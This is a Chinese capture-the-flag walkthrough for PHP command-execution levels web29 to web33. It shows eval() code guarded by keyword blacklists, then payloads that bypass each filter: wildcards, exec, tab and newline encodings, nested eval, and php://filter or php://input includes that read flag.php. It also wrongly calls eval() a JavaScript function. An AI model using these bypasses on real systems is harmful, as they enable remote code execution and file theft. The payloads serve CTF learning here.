web29
system执行;通配符
题目:命令执行,需要严格的过滤
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里对flag进行过滤,用通配符?flag绕过可以用 f*
以下参考
一
?c=system('cat fla?.php');
?c=system('cat fla*');
二
?c=system("cp fla?.php 1.txt");
?c=system('cp fla?.php 1.txt');
/?c=system(‘ls’);

然后访问1.txt 就ok了
web30
把system过滤了?
if(!preg_match("/flag|system|php/i", $c)){
/?c=echo%20exec("ls"); 其实这里和上面%20在编码当中是空格的意思,因此保持习惯加了 %20,不加效果一样,看实际情况
echo exec("ls"); 是一个 PHP 命令执行代码,它会在服务器上执行 ls 命令
具体来说,exec() 是 PHP 中用于执行系统命令的函数,它可以在参数中指定要执行的命令,而 echo 则将 exec() 函数返回的命令输出到页面上。因此,该代码相当于执行了ls,也就是达到了29题的效果。

Web31
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval() 是 JavaScript 中的一个全局函数,其作用是将字符串作为脚本代码执行,并返回最后一个表达式的结果。 eval() 可以执行任何字符串作为 JavaScript 代码
又多了一些过滤,改怎末绕过呢
多了空格 cat “/?c=echo%20exec("ls");”改怎末替换呢
第一种
用%09换成空格 , nl代替cat。

在URL编码中,%09 是水平制表符 (Tab)的编码表示方式,因此在 Web 地址(URL)中将 %09 用作参数分隔符的效果等同于使用空格。此外,还有其他常见的URL编码字符,例如 %20 表示空格,%2F 表示斜杠 / 等。
第二种
嵌套eval,逃逸参数
比如这里访问phpinfo() url/?c=eval($_GET[ikun]);&ikun=phpinfo();
那我们换了执行命令不就可以了吗
url/?c=eval($_GET[ikun]);&ikun=system(‘ls’);
第三种
伪协议: url/?c=include%09$_GET[k];&k=php://filter/convert.base64-encode/resource=flag.php
然后在解base就行了

Web32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
过滤了 flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号
;可以用?> 空格也被过滤了,就用%0a,表示换行,相当于enter
php://filter
/?c=include%09$_GET[k]?>&k=php://filter/read=convert.base64-encode/resource=flag.php
php://input
?c=include"$_GET[1]"?>&1=php://input
然后<?php system(‘cat flag.php’)?>

Web33
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
双引号也过滤了,那32也没用双引号啊,同解 32
/?c=include%09$_GET[k]?>&k=php://filter/read=convert.base64-encode/resource=flag.php


文章讲述了在Web应用程序中如何通过各种方法绕过过滤机制执行命令,包括使用通配符、嵌套函数、URL编码以及利用伪协议来执行系统命令,如`eval()`、`system()`等。
1494

被折叠的 条评论
为什么被折叠?



